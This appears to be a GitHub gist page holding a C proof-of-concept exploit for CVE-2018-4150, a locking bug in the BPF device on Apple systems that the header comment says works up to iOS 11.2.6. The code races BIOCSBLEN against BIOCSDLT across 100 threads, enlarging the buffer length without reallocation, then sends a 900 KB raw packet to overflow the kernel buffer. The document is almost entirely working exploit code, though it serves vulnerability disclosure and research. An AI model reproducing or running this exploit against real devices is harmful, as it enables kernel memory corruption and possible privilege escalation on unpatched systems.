Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save twodayslate/44fbecb41bdfbd40bb2a832180f56ff1 to your computer and use it in GitHub Desktop.
Save twodayslate/44fbecb41bdfbd40bb2a832180f56ff1 to your computer and use it in GitHub Desktop.
CVE-2018-4150 POC
/*
* Dodgy POC for my CVE-2018-4150 bug - @cmwdotme
*
* Bad locking lets you use BIOCSDLT and race BIOCSBLEN to increase the length without
* increasing/reallocating the buffer.. which lets you overflow ;) Should work up to iOS 11.2.6
*
*/
#include <fcntl.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <mach/mach.h>
#include <arpa/inet.h>
#include <net/bpf.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/ucontext.h>
#include <sys/uio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <semaphore.h>
#include <gethostuuid.h>
#include <sys/fcntl.h>
#include <sys/proc_info.h>
#include <libproc.h>
static int rip_sock;
static int bpf;
static void init_rip_sock(void)
{
uint32_t maxdgram = 0;
size_t len = sizeof(maxdgram);
uint32_t maxdgramnew = (1024*900);
size_t lennew = sizeof(maxdgram);
// Set the max dgram buf to 900k
if (sysctlbyname("net.inet.raw.maxdgram", &maxdgram, &len, &maxdgramnew, len) < 0) {
perror("sysctl error\n");
exit(1);
}
rip_sock = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
if (rip_sock == -1) {
perror("socket");
exit(1);
}
}
static void send_rip_packet(const void *packet, size_t packet_len)
{
struct sockaddr_in6 dest = { 0 };
dest.sin6_family = AF_INET6;
memcpy(&dest.sin6_addr.s6_addr, &in6addr_loopback, sizeof(dest.sin6_addr.s6_addr));
dest.sin6_port = 0;
if (sendto(rip_sock, packet, packet_len, 0, (struct sockaddr *) &dest, sizeof(dest)) != packet_len) {
perror("send_rip_packet");
exit(1);
}
}
static int lock_thread = 1;
static int complete = 0;
static void init_bpf()
{
bpf = open("/dev/bpf3", O_RDWR);
if(bpf == -1) {
perror("open bpf");
exit(1);
}
int one = 1;
if(ioctl(bpf, BIOCIMMEDIATE, &one) == -1 ) {
perror("ioctl BIOCIMMEDIATE");
exit(1);
}
}
static void alloc_bpf_buffer(const char *interface)
{
int hlen = 64;
// set buffer length to 64
if (ioctl(bpf, BIOCSBLEN, &hlen) == -1) {
perror("ioctl BIOCSBLEN");
exit(1);
}
int blen = 0;
if (ioctl(bpf, BIOCGBLEN, &blen) < 0) {
perror("ioctl(BIOCGBLEN)");
}
printf("attaching interface with size of %d\n", blen);
struct ifreq bound_if;
strcpy(bound_if.ifr_name, interface);
if(ioctl(bpf, BIOCSETIF, &bound_if) == -1) {
perror("ioctl BIOCSETIF");
exit(1);
}
}
void set_bpf_length(void)
{
int hlen = 4096;
// set buffer length to 4096. The allocated buffer length is 64.
ioctl(bpf, BIOCSBLEN, &hlen);
int blen = 0;
ioctl(bpf, BIOCGBLEN, &blen);
if(blen == hlen) {
fprintf(stderr, "set length: %d and hlen: %d\n", blen, hlen);
complete = 1;
pthread_exit(NULL);
}
}
void *race_detach(void *data)
{
while(1) {
set_bpf_length();
}
}
int main(void)
{
char *interface = "en0";
#define NUM_THREADS 100
pthread_t threads[NUM_THREADS];
init_rip_sock();
init_bpf();
alloc_bpf_buffer(interface);
int t=0;
for(t=0;t<NUM_THREADS;t++){
if(pthread_create(&threads[t], NULL, race_detach, NULL)) {
fprintf(stderr, "Error creating thread\n");
return 1;
}
}
int promiscuous = 1;
if( ioctl(bpf, BIOCPROMISC, &promiscuous) == -1){
perror("BIOCPROMISC");
}
unsigned int dlt = 1;
while(1) {
if (ioctl(bpf, BIOCSDLT, &dlt) == 0) {
printf("%d worked\n", dlt);
}
if(complete) {
unsigned int packet_len = 1024*900;
unsigned char *packet = malloc(packet_len);
memset(packet, 0xff, packet_len);
printf("sending rip packet\n");
send_rip_packet(packet, packet_len);
}
// try another link layer option
dlt++;
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment